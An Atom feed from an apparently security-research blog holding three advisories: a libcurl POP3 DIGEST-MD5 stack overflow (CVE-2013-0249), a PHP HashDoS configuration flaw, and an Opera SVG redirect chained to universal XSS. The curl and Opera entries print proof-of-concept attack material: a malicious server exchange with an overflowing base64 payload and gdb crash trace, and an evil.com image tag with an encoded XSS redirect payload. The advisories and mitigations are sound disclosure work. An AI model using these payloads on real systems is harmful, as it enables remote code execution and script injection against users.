<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Blog.Volema</title><link href="http://blog.volema.com/" rel="alternate"></link><link href="http://blog.volema.com/feeds/all.atom.xml" rel="self"></link><id>http://blog.volema.com/</id><updated>2013-02-06T10:00:00+01:00</updated><entry><title>cURL buffer overflow</title><link href="http://blog.volema.com/curl-rce.html" rel="alternate"></link><updated>2013-02-06T10:00:00+01:00</updated><author><name>Volema team</name></author><id>tag:blog.volema.com,2013-02-06:curl-rce.html</id><summary type="html">&lt;p&gt;Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE).
When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server
 without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.&lt;/p&gt;
&lt;p&gt;Vendor &lt;a href="http://curl.haxx.se/docs/adv_20130206.html"&gt;notified&lt;/a&gt;, CVE-2013-0249 relased.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attack Concept Outline&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We have the permissions to send custom HTTP requests with curl.
We send request to our http://evilserver.com/&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;1&lt;span class="p"&gt;.&lt;/span&gt;0
&lt;span class="n"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;evilserver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;server answers with&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;1&lt;span class="p"&gt;.&lt;/span&gt;0 302 &lt;span class="n"&gt;Found&lt;/span&gt;
&lt;span class="n"&gt;Location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="n"&gt;evilserver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto.
Server answers&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt; &lt;span class="n"&gt;POP3&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;ready&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;curl sends&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;CAPA&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;servers answers with DIGEST-MD5 only&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;capabilities&lt;/span&gt; &lt;span class="n"&gt;follows&lt;/span&gt;
&lt;span class="n"&gt;SASL&lt;/span&gt; &lt;span class="n"&gt;DIGEST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;MD5&lt;/span&gt;
&lt;span class="n"&gt;IMPLEMENTATION&lt;/span&gt; &lt;span class="n"&gt;dumbydumb&lt;/span&gt; &lt;span class="n"&gt;POP3&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;so, libcurl has to send&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;AUTH&lt;/span&gt; &lt;span class="n"&gt;DIGEST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;MD5&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;then server sends the payload&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;and overflow happens because of fixed "uri" buffer size (128) and "realm" which is also 128 bytes&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;realm&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&amp;quot;&lt;span class="n"&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/span&gt;&amp;quot;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&amp;quot;&lt;span class="n"&gt;OA6MG9tEQGm2hh&lt;/span&gt;&amp;quot;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;qop&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&amp;quot;&lt;span class="n"&gt;auth&lt;/span&gt;&amp;quot;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;utf&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;8
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;how it looks in gdb&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;Program&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt; &lt;span class="n"&gt;SIGSEGV&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Segmentation&lt;/span&gt; &lt;span class="n"&gt;fault&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
0&lt;span class="n"&gt;x00007fd2b238298d&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; ?? &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;6
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gdb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;bt&lt;/span&gt;
#0  0&lt;span class="n"&gt;x00007fd2b238298d&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; ?? &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;6
#1  0&lt;span class="n"&gt;x00007fd2b2a5cc07&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Curl_sasl_create_digest_md5_message&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;kyprizel&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;7&lt;span class="p"&gt;.&lt;/span&gt;28&lt;span class="p"&gt;.&lt;/span&gt;1&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;libs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libcurl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;4
#2  0&lt;span class="n"&gt;x4141414141414141&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; ?? &lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
#1469 0&lt;span class="n"&gt;x4141414141414141&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; ?? &lt;span class="p"&gt;()&lt;/span&gt;
#1470 0&lt;span class="n"&gt;x656d616e72657375&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; ?? &lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;Cannot&lt;/span&gt; &lt;span class="n"&gt;access&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; 0&lt;span class="n"&gt;x7fff63b8b000&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Original exploit: &lt;a href="http://i.volema.com/pop3d.py"&gt;pop3d.py&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS.
libcurl version should be updated.&lt;/p&gt;</summary><category term="curl"></category><category term="rce"></category><category term="buffer overflow"></category></entry><entry><title>PHP &lt;=5.4.8, &lt;=5.3.18 with mbstring.encoding_translation = On is vulnerable to HashDoS</title><link href="http://blog.volema.com/php-mbstring-hash-dos.html" rel="alternate"></link><updated>2012-11-26T10:00:00+01:00</updated><author><name>Volema team</name></author><id>tag:blog.volema.com,2012-11-26:php-mbstring-hash-dos.html</id><summary type="html">&lt;p&gt;Hashdos attack on scripting languages was introduced first time at 28C3 conference [1]. It targets the performance bottleneck in keeping large hash tables made of request parameters.&lt;/p&gt;
&lt;p&gt;The main way to protect from this attack is to limit the number of request parameters. In PHP it is done through the parameter &lt;em&gt;max_input_vars&lt;/em&gt;, but this parameter is ignored if &lt;em&gt;mbstring.encoding_translation&lt;/em&gt; parameter is set to "On". Therefore, it is possible to send a request with a large number of parameters to perform a HashDoS attack.&lt;/p&gt;
&lt;p&gt;Fortunately, the default value for mbstring.encoding_translation is "Off". This vulnerability mainly affects Japanese web sites that use automated encoding conversion widely. However, it is strongly recommended to update to the latest version of PHP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;[1] Alexander ‘alech’ Klink, Julian | zeri &lt;a href="http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html"&gt;"Effective denial of service attacks against web application platforms"&lt;/a&gt;, 29C3, 2011&lt;/p&gt;
&lt;p&gt;[2] Hiroshi Tokumaru &lt;a href="http://blog.tokumaru.org/2012/11/php548-is-vulnerable-to-hashdos.html"&gt;"セキュリティ情報:PHP5.4.8、PHP5.3.18以前にhashdos脆弱性"&lt;/a&gt;&lt;/p&gt;</summary><category term="php"></category><category term="dos"></category></entry><entry><title>Opera SVG+XML Handling Vulnerability</title><link href="http://blog.volema.com/opera-svg-xml-shortcut-uxss.html" rel="alternate"></link><updated>2012-10-06T10:00:00+02:00</updated><author><name>Volema team</name></author><id>tag:blog.volema.com,2012-10-06:opera-svg-xml-shortcut-uxss.html</id><summary type="html">&lt;p&gt;Some time ago we have found in the wild an exploit for a vulnerability allowing to redirect an &lt;a href="http://opera.com"&gt;Opera&lt;/a&gt; user to an arbitrary host by just inserting an &amp;lt;img&amp;gt; tag on the victim site.
This vulnerability was actively exploited for redirecting users to a phishing site, which imitated a large and popular web-portal, with a purpose to steal users credentials.
Posting of a malicious image on the victim site was enough for successful exploitation of the vulnerability. The vulnerability was reported to Opera Software, but they decided this is not a security bug and refused to patch it urgently.&lt;/p&gt;
&lt;p&gt;The issue lies in the process of handling 'image/svg+xml' &lt;a href="http://en.wikipedia.org/wiki/Content-Type"&gt;Content-Type&lt;/a&gt; with the &lt;a href="http://en.wikipedia.org/wiki/URL_redirection#Refresh_Meta_tag_and_HTTP_refresh_header"&gt;Refresh&lt;/a&gt; server response header.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;Refresh&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="sr"&gt;/internet-shortcut,[INTERNETSHORTCUT]%0D%0AURL=http://volema.com/&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;svg&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;xml&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;svg&lt;/span&gt; &lt;span class="n"&gt;xmlns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://www.w3.org/2000/svg&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1.1&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Attacker can forge a redirect of the image resource to a data: scheme URL that has an 'application/internet-shortcut' embedded in it.
Upon hitting such an content-type, Opera acts like if the user opens an internet shortcut from his file manager, and essentially redirects the user to an arbitrary URL that we specify in the internet shortcut. In the above example, the URL is http://volema.com/&lt;/p&gt;
&lt;p&gt;Although at first sight there is nothing to worry about, but in case the victim site has at least one &lt;a href="https://www.owasp.org/index.php/Open_redirect"&gt;HTTP open redirect&lt;/a&gt;,
with SVG+XML handling vulnerability it is possible to use the &lt;a href="http://blog.detectify.com/post/32947196572/universal-xss-in-opera"&gt;recently-published 0-day Opera XSS vulnerability&lt;/a&gt; (which requires a victim to click the malicious link manually) without any user interaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We have the permissions to post any images to target site and there is also a script that allows us to yield any HTTP redirects.&lt;/p&gt;
&lt;p&gt;The victim visits http://target.com/blog/ where the malicious &amp;lt;img&amp;gt; is placed in the comment section.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&amp;quot;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;evil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;evil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;&amp;quot; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;When the browser tries to access 'evil.png', the malicious script responds with an exploit:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;Refresh&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;internet&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;shortcut&lt;/span&gt;&lt;span class="o"&gt;,%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;BInternetShortcut&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;AURL&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;Dhttp&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;Ftarget&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;com&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;Fopenredirect&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;Fparam&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;Ddata&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;Atext&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;Fhtml&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;Bbase64&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;CPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;
&lt;span class="n"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;svg&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;xml&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;svg&lt;/span&gt; &lt;span class="n"&gt;xmlns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://www.w3.org/2000/svg&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1.1&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Then Opera interprets internet shortcut from Refresh header data and redirects the victum to&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openredirect&lt;/span&gt;?&lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="c"&gt;%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3d%3d&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This URL has an exploit for &lt;a href="http://blog.detectify.com/post/32947196572/universal-xss-in-opera"&gt;UXSS 0-day Opera vulnerability&lt;/a&gt; embedded in it.&lt;/p&gt;
&lt;p&gt;Till the moment described vulnerabilities are fixed we recommend all Opera users to disable automatical handling of internet shortcuts:
Tools -&amp;gt; Preferences -&amp;gt; Advanced -&amp;gt; Downloads -&amp;gt; Uncheck "Hide file types opened with Opera" -&amp;gt; Select "application/internet-shortcut" -&amp;gt; Edit... -&amp;gt; Select "Show download dialog".&lt;/p&gt;
&lt;p&gt;&lt;img src="http://i.volema.com/wue0lek.png" alt="result" /&gt;&lt;/p&gt;
&lt;p&gt;Also the &lt;a href="http://en.wikipedia.org/wiki/Privacy_mode"&gt;Private Tab&lt;/a&gt; is not vulnerable.&lt;/p&gt;</summary><category term="opera"></category><category term="xss"></category><category term="uxss"></category><category term="svg"></category><category term="xml"></category></entry></feed>